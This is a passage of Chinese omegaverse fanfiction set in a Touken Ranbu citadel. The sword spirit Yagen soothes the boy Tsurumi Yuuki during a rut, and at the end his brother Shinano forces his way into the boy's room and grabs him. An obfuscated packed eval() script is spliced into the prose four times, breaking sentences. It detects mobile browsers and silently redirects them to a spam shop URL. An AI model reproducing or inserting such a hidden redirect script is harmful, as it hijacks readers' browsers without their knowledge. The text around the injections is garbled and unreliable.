“所以之前让我别接触其他人,就是因为这个吗?”鹤见悠纪的声音还有些低,“会想要做这种事……” 刚刚的亲吻热烈又滚烫,口腔中的肉都还有些酸痛……一切在大脑中翻滚,少年实在说不出具体的词句来。 看出少年脸皮薄,药研藤四郎也只点了点头。 两人之间再次安静下来。 周边萦绕的信息素随着空气的溢散很快变得浅薄,但是因为靠得极近,双方的气息依旧将彼此包裹在一起。 omega身上到处都是自己的气味,alpha心中低劣的占有欲因子被彻底满足,但是为了不吓着对方,他并没有开口再说些什么。 咚咚咚! 门口突然被敲响,并未关紧的木门发出吱呀吱呀的声音,在寂静的夜色中显得格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084081|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显。 鹤见悠纪被吓了一跳,抓着付丧神衣服的手收紧,好不容易平静下来的呼吸再次变得急促起来。 门口传来声音:“药研,你好了吗?” 药研藤四郎皱眉,同类的气味从门缝处丝丝缕缕溢散出来,触及时激发出alpha内心不满的占有欲。 alpha将怀中的omega更加抱紧了些,“你过来干什么?” 他好像忘记了自己和对方一起在晚上战斗的过去。 后藤藤四郎敲门的动作一滞,他敏锐察觉到有什么不对劲,脸上表情变得严肃起来,径直推门而入,“有什么事需要我帮忙……” 吗? 最后的音节戛然而止,他看着像护犊子的狼一样紧紧盯着自己的兄弟,瞬间鸡皮疙瘩都起来了。 而空气中隐秘的气息还有之前恍惚间闻过的甜蜜信息素的瞬间反应过来,刚踏进半步的脚瞬间退到后面去,他猛地转身用力把门重重关上,力气大得整个门都开始吱呀吱呀地晃。 “啊……对不起,你们继续,你们继续,我不打扰你们了,今晚就交给我吧!” 后藤藤四郎举起自己的手臂,虽知道屋内的人看不见自己的动作,但还是扯出一个笑容已作友好。 他没想抢人! 虽然药研藤四郎肯定知道他没有这种意思,但是alpha本能这种东西…… 等走远了,他用力敲了敲自己的脑袋,懊恼地沉思片刻。 空气中紊乱的气息还有药研藤四郎不快的目光,他不难猜出那间房间里究竟发生过什么,但就是这样,自己贸然的闯入和不知趣的出现才更加过分。 深吸一口气,看着已经再次蔓延到这边来的敌人,后藤藤四郎眼中的光亮愈加明显,“既然如此,那就让我来接手你们吧!” 锋利的刀刃在月光下闪出一阵阵寒意,付丧神眼中的战意已如火焰一般蔓延开来。 虽然没有兄弟的并肩作战,但这些敌人在他看来依旧是轻轻松松。 只不过,当刀刃划过敌人将其在空气中碾作尘埃之时,刚刚掩藏在兄弟的气味中的甜蜜却仿佛清晰地在他鼻尖漫过。 瘦弱的身躯被兄弟紧紧护在怀里,这一眼他瞧不见其面容,可微微颤抖的腰肢,却清晰映入眼帘…… 他猛地摇了摇脑袋,握着本体目光有神地再次迎了上去。 现在当务之急,是解决这些东西。 至于其他的, ——不重要。 10.第 10 章 鹤见悠纪身体本就处于敏感状态,陌生的alpha的气息毫无防备地冲了过来,虽然被药研藤四郎及时挡在身外,但仍旧让他感受到了。 陌生的气息在周围环视一圈,他不是很舒服,口中不由得露出几分害怕的呜咽。 身上两种气息的混沌交错,就好像两把刀面对面的在争抢什么一样。 直到药研藤四郎的气息将对方彻底吞噬温柔安抚的吻落在额头上时,他才安定下来。 鹤见悠纪低声:“刚刚的是谁?” 为什么会突然闯进来? 他还想问,但是落在腰侧骤然收紧的手让他停下了后续的疑问。 因为omega的信息素安抚下来的理智,缓慢的回归,药研藤四郎被自己刚刚因为生理性的占有欲而生气的磅礴的怒意、以及让兄弟再也不出现在怀中少年眼前的想法吓到了。 他虽然知道这份诅咒让自己变得奇怪,却未曾想在这样的情况下还有这样的可怕的“惊喜”,,但是面对少年的疑问还是先开口回应, “后藤藤四郎,是我的兄弟。” “那他为什么突然离开了?看起来有急事找你的样子。”鹤见悠纪不解。 “没事的,晚上有一些时间溯行军会闯入,但是他一个人也没关系。” 他今晚的状态并不适合在战场,到时候别时间溯行军没打,反而把兄弟捅了个对穿那就不好了。 他相信对方的实力,共同被困在这座破碎的本丸中这么久,此次实力究竟如何他们都一清二楚。 鹤见悠纪眨眨眼睛,有些感叹:“好厉害啊,一个人就可以把战斗解决。” “才不是一个人,还有两把刀再。” 这句话一出口,两个人都怔住了。 药研藤四郎有些不可思议,刚刚那样善妒的话竟然是自己说出来的。 只是听到少年如此夸赞后藤藤四郎的瞬间,不满和怒火在胸膛中喷涌,他反驳的话语瞬间吐出。 药研藤四郎目光闪烁,喉结紧张地滚了滚:“那个,我、我的意思是说……” “这里一共有四把刀吗?” 鹤见悠纪好像没有发现那句反驳的话语下的情感,只是有些惊叹于自己的新发现。 “四把刀,一个队伍都无法组成的人数,却保护了这座本丸这么久,这些日子晚上听到的那些声音,也是大家在战斗吗?” 少年直起了身子,空气中的信息素因他的情绪躁动起来,如勾引般在alpha的身边略过。 然而,药研藤四郎抬头对上的漂亮的紫色眼睛中满是赞叹,分毫看不出暧昧的神色。 只有直白的夸赞, “大家好厉害,药研好厉害啊!” 直击人心,药研藤四郎抚在他腰间的手忽然动了动,然后猛地低下头,声音带上几分沙哑,“……对抗时间溯行军是付丧神的本能,我们当然不会输。” 声音显得很平淡,好像只是一件小事,但是就嘴角处勾起时的笑意,就无法忽略他的高兴。 被夸赞了。 omega觉得他十分厉害,就算是夸了所有人也只单独叫了他的名字,说他好厉害……自己在对方的心中一定是最重要的吧? 沾染着alpha气息的少年,看向自己的眼中满是崇拜,就好像他是什么天神下凡一样。 付丧神的存在是为了打败时间溯行军战斗,守护历史。 作为刀剑付丧神,他们擅长战斗,同样也以自己的战斗能力自豪。 自豪的能力被在意的存在夸赞,谁能拒绝? 药研藤四郎将快要从自己腿上的少年重新拿进怀里,脑袋垂下埋进少年的颈窝,深深吸了一口气,紫色的眼眸中闪过一丝什么,而后又被极快的压了下去。 鹤见悠纪被抱了这么会已经习惯他贴到自己身上了,特殊状态的影响确实让付丧神变得很奇怪,但是他适应得也很快。 少年抬起手摸了摸付丧神的脑袋,静了一会儿问道:“太晚了,我该回去了。” 既然已经解决,他也该睡觉了,折腾了这么久,不论是疲惫的身体还是困倦的大脑都在不断提醒他应该休息了。 药研藤四郎一顿,“你要不留在这里吧。” 鹤见悠纪:“?” “留在……这里吗?” 看着身边混乱无比的房间,少年语气中露出迟疑,这可不像是能够躺下休息的样子。 药研藤四郎轻咳一声: “交给我吧,你稍等一下,坐在这里。” 付丧神起身,他推开侧面的一扇小门,片刻再出来,将窝在椅子上的少年带了过去。 鹤见悠纪有些感叹自己来了这么多次都没发现这里还有个房间,他跟在对方身后探出头,这边的房间并没有因为刚刚的混乱而受到任何侵扰。 而摆在中央整洁的床刚好能够容纳下两个人。 鹤见悠纪迟疑一瞬正准备说些什么,就听见身边的药研藤四郎率先开口道:“后藤还在等我呢,我就先出去了,你在这里好好休息吧。别担心,不会有危险的。” “诶?” 鹤见悠纪来不及回应,就看到付丧神迅速离开的身影。 刚刚不还说交给自己的兄弟没事吗,现在怎么就……?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084082|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他虽然疑惑,却也不知再说些什么。 身边静了下来,只留下alpha的信息素仍旧环绕在身边,就好像并未离开一样。 omega抬手揉了揉自己的脖子,最终还是掀开被子钻进了被窝里。 柔软的床单将身体包裹,睡意也随之而来将他拉入沉睡状态。 呼吸声平稳,躲在外面的付丧神抬起眼睛,从自己的箱子中拿出药膏,小心翼翼地给少年身上可怖的红痕上了药。 看着omega乖巧的睡颜,他轻轻叹了一口气,眼中露出几分无奈,现在理智全然回归,但是身体的燥热仍旧没有消失。 易感期并非只是一夜就会消失,alpha没有omega彻底的安抚,还会持续这样的状态两天。 但是甜蜜的信息素抚过身体的时激起的颤栗,还是让他紧密着唇选择沉沦一瞬。 只是一点点的话……没关系的。 从亲吻里得到的安抚足够让他在这段躁动的时间里保持清醒。 但是下一次呢,下一次更加猛烈的易感期,他又该如何是好? 只是亲吻的话,还能够让他恢复到现在的状态吗?以及本丸中的其他兄弟都是未知数。 被暗堕影响得更深的他们能够控制住自己吗?他收紧了手指,闭上眼眸。 ……至少在时之政府找到鹤见悠纪之前,绝对不能让最后的底线被打破。 同样早已深陷漩涡的他所能做到的保护,显得如此苍白无力。 再次转身出去,等回来时,身上透着冰凉的水汽,他动作轻柔地掀开被子,将床榻上的少年揽进怀里,鼻尖的气息安抚下alpha躁动的神经。 只是一晚,就好。 等到清晨,阳光从门缝和高窗深入雪山房间内,阴沉的黑暗也照亮了床上抱着被子睡得香甜的人形。 鹤见悠纪找着没便很快醒来,后半宿他睡得很香,身上难受的部位不知为何都冰冰凉凉,带着一股柔和。 他迷茫地睁开眼,眼前全然是陌生的。 这是哪儿? 很快意识回笼,昨夜的一切如潮水一般涌来,狂暴的信息素,药研藤四郎的痛苦,措不及防的亲密亲吻,以及后颈处如火焰般燃烧的躁动…… 鹤见悠纪僵硬地抬头,药研藤四郎将他揽在自己的怀里,紫色短发有些凌乱的盖在额头上,昨夜的颤抖和滚烫都完全平息,呼吸均匀而绵长。 一切都十分安静。 只有在早晨端着木盘走向门口的人影突然顿住。 本应充满omega气息的房间空荡荡的,冰凉凉的,什么都没有。 11.第 11 章 鹤见悠纪后颈惊人的灼热已经褪去,皮肤之下有什么东西混入血液,留下了清晰的气息,和自己的皮肉搅和在一起,不分彼此。 药研藤四郎和他贴得极近,昨晚骇人的状态全然平息,呼吸声落在耳边,平和又绵长。 鹤见悠纪试着动了动,但是空间狭小,在不惊动付丧神的前提下没有可能起身。 他泄了气。 想起昨夜那些纠缠和呜咽,少年的脸颊开始不受控制地发烫,空气中疯狂地信息素已经淡了许多,只剩下他熟悉的那种甜丝丝的气息还在鼻尖蔓延。 白天甜晚上酸,这家伙难道是葡萄成精吗?鹤见悠纪胡思乱想着吐槽。 时间一分一秒过去,睡着的时候没感觉,醒了之后刻意保持一个动作,身体关节很快开始发酸抗议,他小范围动了动手脚,试图缓解,但是没几分钟,酸疼的感觉再次席卷而来。 鹤见悠纪无奈,伸手想把药研藤四郎戳醒,然而他刚触碰到对方,那只手就被付丧神握住,嘴里还无意识地哄着,“乖……该睡觉了……” 鹤见悠纪被滚烫的气息激得脸颊泛红,但是为了自己的手脚健康还是挣脱这若有所无的暧昧,狠心用力戳了戳, “药研,药研,快醒醒。” 面前的人睫毛颤了颤,缓慢睁开眼睛,紫眸中还带着初醒的迷茫,瞳孔没有聚焦,他茫然地眨了眨眼睛,手自然地握上少年的手指,直到视线聚焦,看清了鹤见悠纪蹙起的眉,和两人几乎严丝合缝的姿势…… 药研藤四郎瞬间僵住了。 如同被冰水从头浇了个透心凉,睡意在瞬间被驱逐,取而代之的是一种尴尬和不知所措。 “抱、抱歉……”他低声道歉,手脚麻利地松开鹤见悠纪,逃也似的从床上爬起来。 “你继续睡吧,如果有事请叫我。” 付丧神一手抓过旁边的衣服,边套上边离开这里,声音中听不出什么情绪,但是逃离的意味格外明显。 昨晚被易感期卷席着出现的失控的痛苦、本能的渴求以及主动扑过去的姿态和毫不掩饰的索要,全都回归脑海。 等到完全清醒接受这些事情,比后半夜时的感受更加惊人。 alpha的本能太可怕了,就算是他的理智主动且清醒地知道自己不能将人拖入混沌的漩涡中,但是当热度席卷而来的时候,他竟还是做出了索要信息素和将人抱进怀里的动作。 药研藤四郎不敢回头看少年的表情,他看见了对方蹙起的眉头,那那双漂亮干净的紫色眼眸里呢,是否是对他彻底的厌恶? 付丧神努力保持表面的平静,但冲出门之后又猛地停下,他踉跄后退,直到脊背撞向冰冷的墙壁才停下。 他的嘴唇紧紧抿成一条线,脸色在温暖的朝阳中却褪得惨白,心里翻滚着痛苦以及一丝残余得几乎看不清的渴望。 药研藤四郎将这些全数压下,取而代之的是比以往任何时候都更加浓郁的警惕。 他在警惕自己。 现在做出过分事情的,只有自己。 屋内,鹤见悠纪被他的反应吓了一跳,他看着对方逃离的身影,下意识想解释什么:“药研,你……” 戛然而止。 他究竟要解释什么?对方为什么会突然从床上跳起来他又不知道。 想着,鹤见悠纪闭了嘴,揉了揉脖子,起身收拾自己。 虽然昨天的状态很混乱,药研藤四郎的力气也很大,但是他身上并未感觉到几分不舒适。 看向镜子,就连颈侧那个看起来有些骇人的红痕现在都消去了不少,只浅浅淡淡的一点粉色残留在皮肤上。 鹤见悠纪拍拍自己的脸,让脑袋更加清醒了些。 他推开门,目光落在狼藉的地面,又转开视线,向门外走去。 “你先回自己的房间去吧。” 刚推开门,药研藤四郎的声音响起。 鹤见悠纪一惊,回过头才发现对面抱胸站在门口。 但是脑袋低着,看不清面色,声音也淡淡的,不知道对方现在是什么心情。 “……你怎么了?”鹤见悠纪犹豫片刻,还是出声询问道,“你看起来状态很不对劲,是不是还是不舒服?” “没有,你去休息吧,我这没什么事,”药研藤四郎的声音顿了顿,像是在压抑着什么,“谢谢你的帮助,但是下次遇到这种状况就不要再靠近了,你的状态会更糟糕的。” 更糟糕? 鹤见悠纪并没感觉到自己身体里有什么变化,就连刚醒时那些丝丝缕缕的奇怪感觉也已经完全消散了。 他看着药研藤四郎直接发白的时候和微微颤抖的前线,最终还是把困惑、担忧还有一点点莫名其妙的委屈咽了回去。 本丸里依旧十分寂静,回去房间的路上,只有地面木板被踩出的吱呀声,鹤见悠纪能感受到身后若有若无的视线等房门关上才彻底消失。 药研藤四郎站在暗处,他看着紧闭的房门,抬手捂住眼睛,深深叹出一口气。 或许鹤见悠纪本人都没有发现此时此刻的少年身上属于alpha的气息还未散去,是至在信息素主人的嗅觉里如此明显,就好像……在少年身上挂上了自己的名字,向所有人宣告,那是属于他的omega。 alpha敛下眸中忐忑,他会转身体回到自己的房间,开始默默收拾一地狼藉。 本对他来说再熟练不过的工作,在空气中甜蜜信息素的影响下竟显得如此心不在焉。 这份诅咒究竟何时才到尽头?药研藤四郎收紧了手指,时之政府又要什么时候才能将少年接走,让他返回自己应该过的生活。 一个正常的审神者的生活。 另一边,鹤见悠纪熟练地挪来凳子将门板抵上,走廊里的空气依旧凝滞着,是这座本丸中惯有的气氛。 他在房间里坐了片刻,才慢一拍想起来有什么不对劲。 他的饭呢? 鹤见悠纪迷茫起身,他扒开门缝看了一眼周围,熟悉的托盘没有出现在任何地方。 所以,今天没有早饭了吗? 少年有些委屈地揉了揉自己的肚子。 为什么不给他早饭?难道他做错了什么要用饿肚子的方法来惩罚他,可是对方又凭什么惩罚他! 鹤见悠纪没有发现,此刻的他情绪敏感得可怕。 难受地在床上蜷缩着静了片刻,等情绪散去的时候,他又感到一阵不知所措。 他的食物本就是不知名的存在免费的馈赠,只是一次不给他而已怎么就如此矫情,还怪罪上给自己食物的好人了。 鹤见悠纪又抬手摸了摸脖子,后面皮肤光滑依旧,但总觉得有哪里不一样,昨夜发生了什么,还历历在目。 药研藤四郎痛苦且克制的眼神无数次划过他的颈后,但最终尖锐的牙齿只克制了在颈侧磨了磨。 还有对方口中所说的诅咒,虽然没有细说,但是也能听出和他们发生怪异变化的身体有关系,还有刚刚自己莫名其妙诞生的情绪。 奇怪的很。 鹤见悠纪脑袋重新埋进臂弯中,脑海中浮现混乱,迷茫,还有一丝说不清道不明的痛苦。 接下来几天,鹤见悠纪和药研藤四郎之间的气氛变得很奇怪。 付丧神明显在躲着他,但是在碰面的时候,眼睛却又怎么都离不开,只能在最后狼狈地让自己将视线从少年身上移开。 沾染着自己气息的omega在易感期的alpha面前出现,这种冲击力还是太大了。 鹤见悠纪感觉有些奇怪,但是对这方面的信息仍然不够充足的他并不知道具体的原因。 食物和水除了那日早晨的空缺以外,依旧准时送达,托盘放在门外,轻巧无声,但是对方不会再在门口停留,放下就走,像是例行公事一样。 鹤见悠纪感觉到那人停留的气息变得躁动起来。 这种状态有点熟悉…… 但是他又说不出具体。 还有厚藤四郎,那个冷淡的像没有任何感情的刀剑,在看见他时,竟罕见地皱起了眉头。 “大将,要记得勤洗澡哦。” 鹤见悠纪脚步一顿,他抬起手闻了闻袖子,“……没有味道呀,我有好好洗澡的。” 他怎么可能会臭到让人提醒他洗澡呢?他可不是那么不爱干净的人。 厚藤四郎摇头:“和以前一样,只不过,沾了一些让人不太舒服的味道。” omega身上的alpha信息素就像在守护宝物一样,将少年紧紧圈在自己的地盘内,在看见旁的alpha时便毫不犹豫发出警告。 这是alpha劣根性占有欲的本能,甚至不管性激素,用有者的本体是如何的想法。 信息素已经认定了这是自己的伴侣,在有别的人试图靠近自己可爱的伴侣的时候,便会替不在身边的主人放出威胁的信号。 厚藤四郎也是alpha,那当然能感受到那如影随形像蛇一样盯着自己的气息。 大将……可不只是他一个人的大将。 就算是兄弟也不能生出独占的心思,那是不符合规矩的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087825|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不太舒服的味道,我没感觉到有哪里不舒服。” 鹤见悠纪眨了眨眼,思考片刻后看向他,疑惑道,“最近本丸发生什么了吗?” 他试图寻找到不知道存不存在的线索,也就和厚藤四郎见得多起来,结果发现这家伙除了所谓打扫战场的工作时有些血淋淋和说话面无表情之外,别的倒没什么。 至于大将,他已经完全忽视了,不就是个称呼吗?叫就叫吧。 就算真的是把他认错了,他也没机会知道那个家伙到底是怎么样,还不如随心所欲。 这段时间下来,除了和自己记忆中的性格有些不同,厚藤四郎也没什么异常。 现在鼓起勇气来主动提出问题,也没那么艰难。 “没发生什么,为什么这么问?”厚藤四郎擦了擦手,歪头看过来,似乎在疑惑。 “大家都不太对劲,你说我身上有不舒服的味道,” 鹤见悠纪皱眉,他又习惯性抬手揉了揉脖子,“药研他最近也总是躲着我……” 他遗落了什么信息。 和那晚药研藤四郎的异常有关系吗? 厚藤四郎眨了眨眼睛。 正思考,潮湿冰冷的水汽忽然冲来,鹤见悠纪不由得打了个哆嗦,他搓了搓手臂抬头张望,“怎么突然感觉有点冷?” “没有,今天的太阳很好。”厚藤四郎面无表情,“可能是你穿得太少了吧。” 鹤见悠纪身上是药研藤四郎送的内番服,至于他自己的那套衣服则洗干净放在了房间里。 “是吗?”他有点不太信,但是那股冰冷感也很快散去,便不再多做思考。 “如果不太舒服的话,就回去睡觉吧,多休息总是没错的。”厚藤四郎抬头看了一眼太阳,“真是没用,连点温度都没有,像个摆设一样。” 鹤见悠纪看他突然和太阳较上劲了,跟不上对方的思维,便也顺着他的话点头,“好,屋里也暖和些。” 少年转身离开,抬头看太阳的付丧神恍然低头。 他的视线落在少年的身上,平淡至极。 但当察觉到逐渐变淡的葡萄和混杂插入并与甜蜜气息交缠在一起的水汽时,没有任何波动的嘴角似乎动了动。 变得淡了。 是呢,距离那天,已经快两日了,等在过一日,便彻底感受不到任何气息了。 即使按照相处时间来说,总是会在庭院偶然碰到的厚藤四郎才是和鹤见悠纪见得最长的。 但是比起他血淋淋的面无表情,还是会主动照顾鹤见悠纪的药研藤四郎更让人亲近。 厚藤四郎低头,看了看自己还残留着什么的手心,面无表情用力擦了擦,直到那里才没有任何脏污才罢了休。 不能碰。 自己,好脏啊。 那让他再多看两眼就好。 反正现在还没有离开这里,离开之后的事情就离开了再说吧。 至少现在,他还能和对方对视。 干净的审神者,就算是再喜欢,也不能将对方留在这里。 鹤见悠纪坐上榻榻米,他思索片刻,还是觉得有哪里不对劲。 正要开始思考模式,门口出现了熟悉的动静。 是他的饭! 鹤见悠纪起身,他走到门口,正要我开椅子,动作忽然顿了顿。 门口的人好像没有离开。 鹤见悠纪收回手,站了片刻,门口依旧没有任何动静,门缝因为被凳子抵上已完全关闭,他便不能故技重施,从缝里去看对方了。 再近了一会儿,他迟疑地小声开口:“那个,谢谢你的食物……” 少年的声音很轻,但是他相信站在门外的人肯定能听见自己的声音。 “嗯。” 鹤见悠纪瞬间瞪大了眼睛。 他好像听到了门外那人的回应,但只是一个音节,他并不能从声音辨认出对方的身份。 话音落下,那人从门口消失,打开门,静寂的走廊上只留下了熟悉的托盘。 所以今天停留了这么一会儿,就是想要听到他的感谢吗?如果这就是对方想要的报答,是否太轻巧了一点。 鹤见悠纪将托盘拉了进来,他看着熟悉的食物难得皱眉,太奇怪了,这座本丸的人一个比一个奇怪,简直没一个是正常人。 一股甜到腻人的气息已经悄然钻了进来,兴奋的环绕在他身边,但却因为与鹤见悠纪自己散发出的气息极为相似而未曾察觉。 omega无知无觉,但alpha寻路的标记已经落在了他的身上。 12.第 12 章 夜晚,今天的鹤见悠纪似乎格外清醒,他侧躺对着墙壁发呆,脑海中正试图用数绵羊的方式将自己催眠,却忽然听到门外传来一阵轻微的不同于平常的脚步声。 十分的轻巧,带着一种飘忽的感觉以及一阵和自己十分相似的甜蜜气息,丝丝缕缕传过来。 就像熟透的植物即将腐败前散发的过于浓郁的伪装的气息,却又并不带腐烂的臭味,甜蜜之下还有一股若有若无让人十分不安的粘稠感。 然而只是一瞬,这些不适的感觉都消失了。 他不由得皱眉。 这种应当不是时间溯行军,那是谁会在晚上突然出现在他门口。 鹤见悠纪在脑海里迅速掠过自己这些日子遇到过的四把刀,最后缓慢地定格在那个日日夜夜都会出现在眼前的托盘。 很快,脚步声在门外停歇,没有敲门,也没有放置物品的磕碰声,外面的人似乎只是静静的站在那里。 鹤见悠纪心跳加速,下意识的屏住呼吸,他想看看这家伙想做什么。 时间在寂静中流逝,而后,一个带着笑意的声音突然响起, “没有睡着呢,要和我一起放松吗?” 鹤见悠纪眯起眼睛,自己在房间里分明没有发出任何动静却被窥视到了状态,抓着被子的手更加缩紧,他浑身不自在。 难道这人还有透视眼吗? “听到我的声音了,我知道的。”那个声音继续道,“我可以进来吗?就一会儿就好。” 鹤见悠纪在试图通过声音分辨对方的身份,听见这话手心渗出冷汗。 虽然对方向他表露过善意,但是空气中飘荡的甜蜜的气息似乎在宣告这份异常。 他瞬间从床上起身,厚重的被子被掀到一边,穿着淡薄睡衣的少年起身坐在床边,双脚胡乱地寻找到鞋子。 和自己太像了,像得简直就是从一个模子里刻出来的。 这绝对不正常。 世界上没有两片一模一样的叶子,怎么会有两份一模一样的味道? 他在和药研藤四郎混沌的那一晚中无数次感受到,这是从自己身上散发出来的气息。 这座本丸中的每一把刀,甚至包括突然闯入的自己身上都会有奇怪的气息,而且根据药研藤四郎之前的状态,还会有一个特殊的日子变得十分痛苦,需要别人帮忙缓解。 他不知道自己是否也会变成那样。 鹤见悠纪慢慢挪到窗边,动作轻巧,他依旧没有回应。 “怎么不理我呢?” 门外的声音也没有生气,反而带着点撒娇般的委屈,“你不喜欢我的味道吗?这是你自己的气息,很好闻哦,和我们都不一样。” 他说得很直白。 “是这座本丸中最特殊的存在呢。” 没有得到回应,门外的声音也没有停止,很快门发出一声吱呀声,鹤见悠纪摸窗户的手一颤,他吓了一跳,却见门没有打开,只是晃了晃。 是那人靠在了门上。 他松了口气,目光变得更加警惕起来。 “那你喜欢什么样的味道呢,可不可以告诉我?”付丧神的声音中露出几分向往,“如果可以的话,好想钻进你怀里。只不过现在我们一点也不亲近没法做这种事,真可惜。” 现在的关系就连叫出“大将”这个称呼也是不可以的,因为这并非是他的审神者。 味道?为什么要反复强调这个词,就算是喜欢的味道又怎样? 鹤见悠纪心中忐忑,轻轻推了一下窗户,却被号称步走的吱呀声吓了一跳,动作变得更加小心。 还不忘思考着。 这些气味难道除了让人闻到之外,还有别的特殊的意义吗? “我只是想看看你而已,”那声音近得仿佛就贴在门板上,“药研总是不让我靠近,不让我和你见面,好小气。可你总是一个人多寂寞呀,晚上睡觉也需要有人陪的吧。” 鹤见悠纪边观察窗户的空隙大小边警惕地看向门口。 听得这话,不由得撇了撇嘴。 他确实经常是一个人,但却也没到寂寞的程度,无论是药研藤四郎还是厚藤四郎,在白日里多多少少也会遇到的。 只不过,现在看起来,自己不回应的话,对方怕是要讲到天荒地老。 除非必要,他还是不想离开这个疑似安全屋的房间。 “我不需要。”鹤见悠纪的嗓子有点干涩,他慎重地看着门口,“你走吧,我觉得一个人睡觉挺好的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100567|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行,”门外的声音否定他的话,还带着一种理所当然的亲昵,“是不是因为药研说不要和任何人亲近,但我可不是人,不在范围内。对了,我的名字是信浓藤四郎,我们认识认识吧,你的名字是什么呀?” 密藏子早已用不着再秘藏了,比起其他的,他更渴望和刀剑的使用者待在一起。 只不过现在他没有使用者,没有主人,也没有大将。 信浓藤四郎,日日夜夜从来见不着年轻人道歉的身份终于呈现在鹤见悠纪面前。 又是一把粟田口的短刀。 鹤见悠纪皱着眉,他没有回应对方的问题。 也就是说,现在他所知道存在于这座本丸的四把刀都是同一个刀派的兄弟。 鹤见悠纪还没来得及消化这个消息,门口突然传来重重的吱呀声。 这次是门被推动了。 用来挡住门的椅子显得脆弱不堪,本就没有锁门功能的木门现在更是轻易地被打开一条缝。 鹤见悠纪一瞬间就想翻身出去,或者冲到门口将门重新推回去。 可是一张漂亮的脸已经出现在门缝后面,红色的短发,精致的五官,一双眼睛弯弯,盛满了毫无阴霾的笑意。 对方穿着干净整洁的出阵服,看起来和暗堕付丧神没有任何关系,他眨巴着眼睛歪着头看向僵在窗口的少年。 “非常高兴,这是第一次见面。”信浓藤四郎笑着道,声音中的兴奋无法掩盖。 虽然看起来十分无害,但是鹤见悠纪却瞬间升起一股对危险的恐惧,后颈安静了许久的腺体也再一次毫无征兆地剧烈跳动起来。 那股甜丝丝的信息素在omega身边环绕,丝丝缕缕,密不透风,与此同时,还有一丝极淡却不容忽略的椒麻气味隐藏在其中。 “为什么要站在窗口?是想赏月吗?” 鹤见悠纪的视线不敢离开门口的付丧神。 全身心都在警惕。 omega身上被其他alpha留下的气息经过时间的洗刷已经全然消失。 信浓藤四郎歪头, “还是说,你不想和我见面?” 身上没有任何气息的omega十分适合染上新的信息素,怎么可以随随便便逃跑啊。 13.第 13 章 信浓藤四郎瞳孔微微收缩,像是嗅到了什么恐怖的气息,弯弯的眼睛里飞快的掠过一丝挣扎,转瞬即逝,很快又被笑意覆盖。 “又不理我了,”他彻底推开门走了进来,动作自然得仿佛这里是他的房间,“为什么不想和我说话呢?” 鹤见悠纪盯着他,手撑在窗台上,准备随时跳出去。 “你的味道比所有人都好闻,比药研、厚和后藤都干净温暖。” 没有那种让人恼怒的针锋相对感。 omega与alpha的互补让信浓藤四郎十分舒服,好像只要待在鹤见悠纪身边,他就不会有任何痛苦。 鹤见悠纪背部贴上冰凉的墙壁,心脏狂跳,对方的靠近让他感到极度不适。 不仅仅是甜蜜的气息和亲昵的姿态,更重要的是对方眼神深处那快得抓不住却让人心里发寒的冷意。 外表和内里的模样实在太大,后颈处的腺体也在异常地发烫。 但鹤见悠纪至今还没搞清楚自己不舒服的诱因是什么,只能死死地盯着对方:“你别过来,再靠近我就要喊人了。” “喊人,你要喊谁药研吗?” 信浓藤四郎撇了撇嘴,做出一个委屈的表情,脚步却未停下,反而更加靠近,“难道你只喜欢他吗?他现在冷冰冰的,为什么会喜欢他不喜欢我呀?” “现在是时间溯行军的时间,它们闯入本丸,所以除了我没有人有时间来这里哦。”信浓藤四郎摇了摇头,声音柔软,“和我说几句话嘛,我们两个现在都很无聊,刚好可以在一起聊点好玩的话题。” “大家都在想办法战斗,但是我不一样,我现在只想陪着你,让你开心……” 付丧神抬起手指想要触碰少年的脸,动作虽然轻柔,却带着一种不容拒绝的意味。 鹤见悠纪见势不对就要跳窗逃跑,然而对方的速度比他更快,瞬间就拽着的手腕把逃出去大半的人拖回了房内。 鹤见悠纪站不稳被迫跌入对方的怀中,那只手臂死死的定在他的腰上,粘腻恐怖的声音在耳边响起, “果然还是想要逃跑吧,可是在这个本丸里,你又能逃去哪里呢?” 弱小的人类在神明的注视下,完全没有逃跑的余地。 “你管我那么多!” 